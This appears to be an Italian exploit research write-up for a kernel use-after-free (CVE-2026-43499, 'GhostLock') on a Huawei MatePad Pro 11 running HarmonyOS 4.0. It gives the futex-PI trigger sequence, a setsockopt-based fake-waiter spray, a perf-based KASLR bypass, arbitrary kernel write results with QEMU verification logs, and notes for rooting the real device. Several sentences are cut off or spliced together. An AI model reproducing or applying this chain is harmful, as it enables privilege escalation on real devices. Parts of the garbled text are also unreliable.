
Ricerca su CVE-2026-43499 (GhostLock) per HUAWEI MatePad Pro 11 GOT-W29
Ricerca di privilege escalation su GOT-W29 (HarmonyOS 4.0, kernel 4.19.157-perf+)
per CVE-2026-43499 (UAF dello stack rtmutex/futex-PI, "GhostLock").
FUTEX_CMP_REQUEUE_PI restituisca -EDEADLK,
il percorso di rollback attiva il bug di pulizia current != waiter->task di remove_waiter() (in questo kernel
kernel/locking/rtmutex.c:1110-1112, fix upstream 3bfdc63936dd), il
pi_blocked_on del waiter rimane pendente (punta al rt_waiter sul suo stack del kernel a E-0x1b0).kernel.patched, senza iniezione GDB/KPM):
EDEADLK pendente → setsockopt(SOL_IP, MCAST_BLOCK_SOURCE, group_source_req 0x108)
consegna un fake waiter (destinazione della copy E-0x210, waiter posizionato a buf+0x60 che copre esattamente E-0x1b0)
→ sched_setattr innesca il walk → rb_erase scrive sysctl_bootid, lo strumento autoverifica
write_ok=1 (primi 8 byte di boot_id = 0xffffff800b412320).sock_setsockopt nella
catena di setsockopt. Disassemblaggio + test QEMU confermano che __arm64_sys_setsockopt per
level != SOL_SOCKET esegue direttamente blr ops->setsockopt, senza passare da sock_setsockopt;
dopo la correzione la profondità di copia di do_ip_setsockopt = 0x210 (precedentemente stimata 0x290), la geometria combacia.
Meccanismi esclusi: pselect/select, ptrace, import_iovec, ppoll, SCTP (misurato 0x158).--root). Differenza HKIP: nella tabella dei simboli del kernel e nell'immagine di GOT-W29 non ci sono hkip_*/
hook hypervisor, e le 97 istruzioni hvc dell'intera immagine non sono nemmeno sui percorsi cred/cap/SELinux
(solo driver KVM/SMCCC/trasporto di debug), cioè quella protezione hypervisor xid di mrx su questa macchina
molto probabilmente non esiste — sul dispositivo reale si può procedere direttamente con la normale procedura root.| Voce | Valore |
|---|---|
| Modello | HUAWEI MatePad Pro 11 GOT-W29 |
| SoC | Qualcomm kona (SM8250, Snapdragon 870) |
| Sistema | HarmonyOS 4.0 (104.0.0.136) |
| Kernel | 4.19.157-perf+ (disassemblaggio boot.elf + firmware/symtab.txt) |
| VA | 39-bit, pagine 4K, KASLR on |
adb shell o Shizuku vanno bene entrambi.pm disable-user com.huawei.powergenie
pm disable-user com.huawei.iaware
Meccanismo: creare un ciclo PI (waiter→target→owner→chain→waiter) per far sì che
FUTEX_CMP_REQUEUE_PI segua il rollback EDEADLK; durante il rollback remove_waiter(lock, waiter)
usa current (il thread requeue) invece di waiter->task per la pulizia:
rt_mutex_dequeue rimuove il nodo waiter reale, ma il pi_blocked_on del waiter non viene azzerato
(current->pi_blocked_on = NULL), diventando un puntatore pendente al rt_waiter sullo stack del kernel.
Ciclo di value-holding (ciclo probe, -EDEADLK stabile misurato):
FUTEX_LOCK_PI(chain) tiene chain; FUTEX_WAIT_REQUEUE_PI(wait, 0, target)FUTEX_LOCK_PI(target) tiene target; FUTEX_LOCK_PI(chain) si bloccaFUTEX_CMP_REQUEUE_PI(wait, 1, target) → -EDEADLKWAIT_REQUEUE_PI 2s) il pi_blocked_on pendente rimane sullo stackNota: il vecchio trigger "self-own" e il -EDEADLK della variant 11 di edeadlk_probe sono entrambi
uscite anticipate con owner==task (rtmutex.c:1035), non producono puntatori pendenti, quindi non sono validi.
Con perf_event_paranoid=-1, perf_event_open(PERF_SAMPLE_IP, exclude_user=1)
campiona il cluster di testo del kernel; allineando agli offset dei simboli noti si ottiene lo slide:
samples=27651 kernel_ips=1685 lo=0xffffff948728176c hi=0xffffff9488ebfc7c
KASLR slide=0x147f200000 runtime _stext=0xffffff9487280800
Strumento: tools/perf_kaslr.c.
[M] CMP_REQUEUE_PI ret=-1 errno=35 (EDEADLK!)
[W] WAIT_REQUEUE_PI ret=-1 errno=110 (ETIMEDOUT) ← il waiter ritorna, pi_blocked_on pendente
Strumento: tools/edeadlk_probe.c.
Il walk di rt_mutex_adjust_prio_chain legge il fake rt_waiter nel punto pi_blocked_on pendente:
next_lock == waiter->lock (lock = slot indipendente di empty_zero_page, vedi sotto)raw_spin_trylock(&lock->wait_lock) riesce con lock a zerort_mutex_dequeue → percorso rb_erase con singolo figlio sinistro: *(rb_left) = rb_parent_color
→ valore scritto 0xffffff800b412320 (&loggers[0][1]) scritto in sysctl_bootid + 8Non servono pagine owner-ful / prepare_skb_payload / kernelsnitch. Il fake rt_mutex
non può riutilizzare lo stesso slot tra walk diversi: al termine del walk waiters.root/leftmost rimangono nella lock puntando
al waiter corrente; un secondo walk che legge il vecchio nodo dereferenzia lo stack del kernel già liberato del giro precedente, innescando
il BUG_ON(w->lock != lock) di rt_mutex_top_waiter() (misurato in QEMU: il secondo test di --verify-all
va direttamente in BUG). Nell'implementazione ogni attempt prende empty_zero_page + n*0x20
(128 slot in totale, SLIDE_LOCK_STRIDE/SLOTS), naturalmente tutti a zero e senza contaminarsi a vicenda.
Output di autoverifica dello strumento QEMU (kernel.patched, nokaslr, --probe-cycle --verify-all):
4.483 237 [+] slide write boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=ffffff800b412320 ok=1
4.547 1 [+] slide write test PASSED
6.583 240 [+] slide leaf boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=0 ok=1
6.636 1 [+] slide leaf test PASSED
8.671 243 [+] slide read boot_id raw=100000002401000030d74c0b80ffffff lo=0000012400000010 hi=ffffff800b4cd730 exp_lo=0000012400000010 exp_hi=ffffff800b4cd730 ok=1
8.724 1 [+] slide read test PASSED
10.811 1 [+] slide restore test PASSED
10.811 1 [+] slide verify all PASSED
(Per ogni attempt requeue=-1/35 trigger=0/0 wait=-1/110 carrier=-1/22 coerenti:
EDEADLK, walk riuscito, timeout hrtimer, copia del carrier riuscita prima di restituire EINVAL a causa del gruppo di indirizzi fittizio.)
Nota: la verifica scrive in boot_id + 8: proc_do_uuid() rigenera l'intero UUID quando
bootid[8] == 0, quindi scrivere i primi 8 byte verrebbe sovrascritto dalla lettura di verifica stessa (confermato in QEMU).
--verify-all)